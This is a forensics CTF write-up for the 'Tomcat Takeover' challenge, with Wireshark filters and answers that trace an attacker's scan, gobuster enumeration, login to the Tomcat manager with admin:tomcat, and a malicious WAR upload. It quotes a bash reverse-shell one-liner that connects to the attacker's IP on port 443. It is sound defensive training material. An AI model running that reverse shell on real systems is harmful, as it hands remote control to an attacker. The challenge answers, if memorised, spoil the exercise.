Description: Analyze network traffic using Wireshark's custom columns, filters, and statistics to identify suspicious web server administration access and potential compromise.
Level: Easy
Category: Network Forensics
Link: https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/
Tactics: Reconnaissance, Execution, Persistence, Privilege Escalation, Credential Access, Discovery, Command and Control
Tools: Wireshark, NetworkMiner
The SOC team has identified suspicious activity on a web server within the company's intranet. To better understand the situation, they have captured network traffic for analysis. The PCAP file may contain evidence of malicious activities that led to the compromise of the Apache Tomcat web server. Your task is to analyze the PCAP file to understand the scope of the attack.
Solution: 14.0.0.120
Step 1: The first step is to open the web server.pcap
file in Wireshark and analyze the suspicious activity.
Step 2: The suspicious IP address is identified as 14.0.0.120
.
Solution: Guangzhou
Step 1: Go to any IP tracking web application in a browser and search for the IP address 14.0.0.120
.
Step 2: The location of the IP is found to be Guangzhou, Guangdong, China
.
Solution: 8080
Step 1: Filter out stream 9452
in Wireshark using tcp.stream eq 9452
and go to packet number 20127
.
Step 2: The analysis shows the attacker was trying to access the admin panel using the GET method on a specific port.
Step 3: By right-clicking packet 20147 and selecting Follow -> HTTP Stream, a new window pops up.
Step 4: The open port is identified as 8080, which provides access to the web server admin panel.
Solution: gobuster
Step 1: Look for the User-Agent
field in the enumeration process to find the tool used.
Step 2: The tool identified is gobuster/3.6.
Solution: /manager
Step 1: Look for a packet that contains the word admin
in the info section, or filter for stream 9449
using tcp.stream eq 9449
.
Step 2: The attacker was trying to access the admin panel using the GET method on a certain directory.
Step 3: Right click on packet no 20126
then Select Follow -> Http stream -> pop up new window
Step 4: By following the HTTP stream for packet 20126
, the specific directory is identified as /manager
.
Solution: admin:tomcat
Step 1: Use the filter http.request.method == POST
.
Step 2: Double-click the packet and scroll to the Authorization
section under HTTP to find the credentials.
Step 3: The username
and password
found are admin:tomcat
.
Solution: JXQOZY.war
Step 1: Use the filter http.request.method == POST
.
Step 2: Right-click on the packet and follow the TCP stream to find the malicious file.
Step 3: The file name is identified as JXQOZY.war
.
Solution: /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
Step 1: Filter out stream 9461
using tcp.stream eq 9461
.
Step 2: Right-click on the packet and follow the TCP stream to find the command.
Step 3: The bash command is identified as /bin/bash -c 'bashi >& /dev/tcp/14.0.0.120/443 0>&1'
.
The attack began with the attacker, whose IP address was identified as 14.0.0.120
originating from Guangzhou, China
, performing a port scan. The scan revealed that port 8080
, which hosts the web server's admin panel
, was open.
Next, the attacker used the tool gobuster to enumerate directories, successfully uncovering the /manager
admin panel directory. With access to the login page, they launched a brute-force attack and successfully authenticated using the weak credentials admin:tomcat.
After gaining access, the attacker exploited the web application's upload functionality to install a malicious web archive file named JXQOZY.war
. This file was used to establish a reverse shell back to the attacker's machine. To maintain persistent access, a command was scheduled to run, ensuring the reverse shell would be re-established. The specific command identified in the packet capture was /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
. This command redirects a bash interactive shell to a TCP connection on port 443
of the attacker's IP address, effectively giving them a persistent foothold on the server.